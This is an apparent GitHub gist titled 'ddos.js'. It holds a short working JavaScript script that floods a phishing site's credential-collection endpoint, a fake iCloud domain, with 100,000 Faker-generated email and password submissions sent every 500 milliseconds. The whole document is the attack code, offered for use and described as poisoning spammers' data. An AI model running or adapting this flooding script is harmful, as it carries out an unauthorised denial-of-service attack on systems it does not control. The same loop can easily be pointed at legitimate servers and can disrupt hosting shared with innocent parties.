Skip to content

Instantly share code, notes, and snippets.

@DimitarChristoff
Last active February 12, 2021 19:37
Show Gist options
  • Save DimitarChristoff/10f35f6e332aeb8901f19802d54de94f to your computer and use it in GitHub Desktop.
Save DimitarChristoff/10f35f6e332aeb8901f19802d54de94f to your computer and use it in GitHub Desktop.
ddos.js
/**
* Sends fake emails to spammers
* @param spams number - how many emails to send
* @param delay= number - number of seconds to wait between each send
* @param url= string - url of their email script
*/
(async (spams, delay = 1000, url = `https://fmi.icloud.com.isps.mobi/mobile/mail2.php`) => {
await import('https://cdnjs.cloudflare.com/ajax/libs/Faker/3.1.0/faker.min.js');
const { internet } = faker;
const sendFakeDetails = async () => {
// they use name field as => email name and email => pass in post data
const name = internet.email();
const pass = internet.password();
const data = `name=${encodeURIComponent(name)}&email=${encodeURIComponent(pass)}`;
try {
await fetch(url, {
method: 'post',
mode: 'no-cors',
cache: 'no-cache',
headers: {
'Content-type': 'x-www-form-urlencoded'
},
body: data
});
}
catch (o_O) {
console.log(o_O);
}
}
const tick = async () => {
await sendFakeDetails();
spams--;
spams && setTimeout(tick, delay);
}
tick();
})(100000, 500, 'mail2.php');
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment